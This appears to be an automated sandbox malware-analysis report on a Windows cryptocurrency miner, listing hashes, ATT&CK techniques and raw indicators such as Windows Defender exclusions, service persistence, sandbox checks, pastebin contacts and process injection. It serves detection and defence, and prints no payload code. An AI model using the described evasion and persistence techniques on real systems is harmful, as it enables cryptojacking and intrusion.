8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 23:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
Size 8.3MB
Sample260910-31ftzafb38
SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
MD5 02b214a1c45453a01667d3622b961568
SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
TLSH
T15A9623A12A9C0478D07A243347DCDA49E90A7885DBB034D75FD77E0FA4ADEC05A713EA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution miner persistence

Malware Config

Signatures

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4960 created 6064	4960	WerFault.exe	153

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 2940 created 620	2940	powershell.EXE	5
PID 5668 created 620	5668	powershell.EXE	5
PID 6108 created 6064	6108	svchost.exe	153

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2724	powershell.exe
1116	powershell.exe
2940	powershell.EXE
5668	powershell.EXE

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dosvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\UsoSvc\ImagePath = "C:\\Windows\\system32\\svchost.exe -k netsvcs -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 1 IoCs

pid	Process
2880	Svchost.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
20	pastebin.com
21	pastebin.com

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4700	powercfg.exe
4180	powercfg.exe
976	powercfg.exe
3804	powercfg.exe
2304	powercfg.exe
1588	powercfg.exe
4596	powercfg.exe
4936	powercfg.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	Svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2880	Svchost.exe
2880	Svchost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2476 set thread context of 2312	2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe	108
PID 2940 set thread context of 2620	2940	powershell.EXE	126
PID 2880 set thread context of 1872	2880	Svchost.exe	144
PID 2880 set thread context of 5156	2880	Svchost.exe	149
PID 2880 set thread context of 5248	2880	Svchost.exe	150
PID 5668 set thread context of 6064	5668	powershell.EXE	153

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5520	sc.exe
4068	sc.exe
1620	sc.exe
3600	sc.exe
3504	sc.exe
3124	sc.exe
3008	sc.exe
4604	sc.exe
220	sc.exe
3372	sc.exe
4388	sc.exe
636	sc.exe
2916	sc.exe
3428	sc.exe
3412	sc.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2116	cmd.exe
1912	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1789084813"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 08 Sep 2026 04:38:30 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
1116	powershell.exe
1116	powershell.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
2940	powershell.EXE
2940	powershell.EXE
2880	Svchost.exe
2880	Svchost.exe
2880	Svchost.exe
2724	powershell.exe
2940	powershell.EXE
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2724	powershell.exe
2724	powershell.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2724	powershell.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2724	powershell.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2724	powershell.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe
2620	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3244	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeShutdownPrivilege	1588	powercfg.exe
Token: SeCreatePagefilePrivilege	1588	powercfg.exe
Token: SeShutdownPrivilege	976	powercfg.exe
Token: SeCreatePagefilePrivilege	976	powercfg.exe
Token: SeShutdownPrivilege	2304	powercfg.exe
Token: SeCreatePagefilePrivilege	2304	powercfg.exe
Token: SeShutdownPrivilege	3804	powercfg.exe
Token: SeCreatePagefilePrivilege	3804	powercfg.exe
Token: SeDebugPrivilege	2940	powershell.EXE
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2940	powershell.EXE
Token: SeDebugPrivilege	2620	dllhost.exe
Token: SeShutdownPrivilege	4936	powercfg.exe
Token: SeCreatePagefilePrivilege	4936	powercfg.exe
Token: SeShutdownPrivilege	4596	powercfg.exe
Token: SeCreatePagefilePrivilege	4596	powercfg.exe
Token: SeShutdownPrivilege	4700	powercfg.exe
Token: SeCreatePagefilePrivilege	4700	powercfg.exe
Token: SeShutdownPrivilege	4180	powercfg.exe
Token: SeCreatePagefilePrivilege	4180	powercfg.exe
Token: SeLockMemoryPrivilege	5248	dialer.exe
Token: SeDebugPrivilege	5668	powershell.EXE
Token: SeDebugPrivilege	5668	powershell.EXE
Token: SeShutdownPrivilege	396	dwm.exe
Token: SeCreatePagefilePrivilege	396	dwm.exe
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2096	svchost.exe
Token: SeIncreaseQuotaPrivilege	2096	svchost.exe
Token: SeSecurityPrivilege	2096	svchost.exe
Token: SeTakeOwnershipPrivilege	2096	svchost.exe
Token: SeLoadDriverPrivilege	2096	svchost.exe
Token: SeSystemtimePrivilege	2096	svchost.exe
Token: SeBackupPrivilege	2096	svchost.exe
Token: SeRestorePrivilege	2096	svchost.exe
Token: SeShutdownPrivilege	2096	svchost.exe
Token: SeSystemEnvironmentPrivilege	2096	svchost.exe
Token: SeUndockPrivilege	2096	svchost.exe
Token: SeManageVolumePrivilege	2096	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2096	svchost.exe
Token: SeIncreaseQuotaPrivilege	2096	svchost.exe
Token: SeSecurityPrivilege	2096	svchost.exe
Token: SeTakeOwnershipPrivilege	2096	svchost.exe
Token: SeLoadDriverPrivilege	2096	svchost.exe
Token: SeSystemtimePrivilege	2096	svchost.exe
Token: SeBackupPrivilege	2096	svchost.exe
Token: SeRestorePrivilege	2096	svchost.exe
Token: SeShutdownPrivilege	2096	svchost.exe
Token: SeSystemEnvironmentPrivilege	2096	svchost.exe
Token: SeUndockPrivilege	2096	svchost.exe
Token: SeManageVolumePrivilege	2096	svchost.exe
Token: SeAuditPrivilege	2764	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2096	svchost.exe
Token: SeIncreaseQuotaPrivilege	2096	svchost.exe
Token: SeSecurityPrivilege	2096	svchost.exe
Token: SeTakeOwnershipPrivilege	2096	svchost.exe
Token: SeLoadDriverPrivilege	2096	svchost.exe
Token: SeSystemtimePrivilege	2096	svchost.exe
Token: SeBackupPrivilege	2096	svchost.exe
Token: SeRestorePrivilege	2096	svchost.exe
Token: SeShutdownPrivilege	2096	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5248	dialer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 1880	2116	cmd.exe	95
PID 2476 wrote to memory of 2312	2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe	108
PID 2476 wrote to memory of 2312	2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe	108
PID 2476 wrote to memory of 2312	2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe	108
PID 2476 wrote to memory of 2312	2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe	108
PID 2476 wrote to memory of 2312	2476	8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe	108
PID 2940 wrote to memory of 2620	2940	powershell.EXE	126
PID 2940 wrote to memory of 2620	2940	powershell.EXE	126
PID 2940 wrote to memory of 2620	2940	powershell.EXE	126
PID 2940 wrote to memory of 2620	2940	powershell.EXE	126
PID 2940 wrote to memory of 2620	2940	powershell.EXE	126
PID 2620 wrote to memory of 620	2620	dllhost.exe	5
PID 2620 wrote to memory of 676	2620	dllhost.exe	7
PID 2620 wrote to memory of 884	2620	dllhost.exe	11
PID 2620 wrote to memory of 60	2620	dllhost.exe	13
PID 2620 wrote to memory of 396	2620	dllhost.exe	14
PID 2620 wrote to memory of 1020	2620	dllhost.exe	15
PID 2620 wrote to memory of 1072	2620	dllhost.exe	16
PID 2620 wrote to memory of 1160	2620	dllhost.exe	18
PID 2620 wrote to memory of 1188	2620	dllhost.exe	19
PID 2620 wrote to memory of 1196	2620	dllhost.exe	20
PID 2620 wrote to memory of 1296	2620	dllhost.exe	21
PID 2620 wrote to memory of 1316	2620	dllhost.exe	22
PID 2620 wrote to memory of 1324	2620	dllhost.exe	23
PID 2620 wrote to memory of 1396	2620	dllhost.exe	24
PID 2620 wrote to memory of 1404	2620	dllhost.exe	25
PID 2620 wrote to memory of 1412	2620	dllhost.exe	26
PID 2620 wrote to memory of 1676	2620	dllhost.exe	27
PID 2620 wrote to memory of 1684	2620	dllhost.exe	28
PID 2620 wrote to memory of 1700	2620	dllhost.exe	29
PID 2620 wrote to memory of 1756	2620	dllhost.exe	30
PID 2620 wrote to memory of 1860	2620	dllhost.exe	31
PID 2620 wrote to memory of 1904	2620	dllhost.exe	32
PID 2620 wrote to memory of 1928	2620	dllhost.exe	33
PID 2620 wrote to memory of 1992	2620	dllhost.exe	34
PID 2620 wrote to memory of 2072	2620	dllhost.exe	35
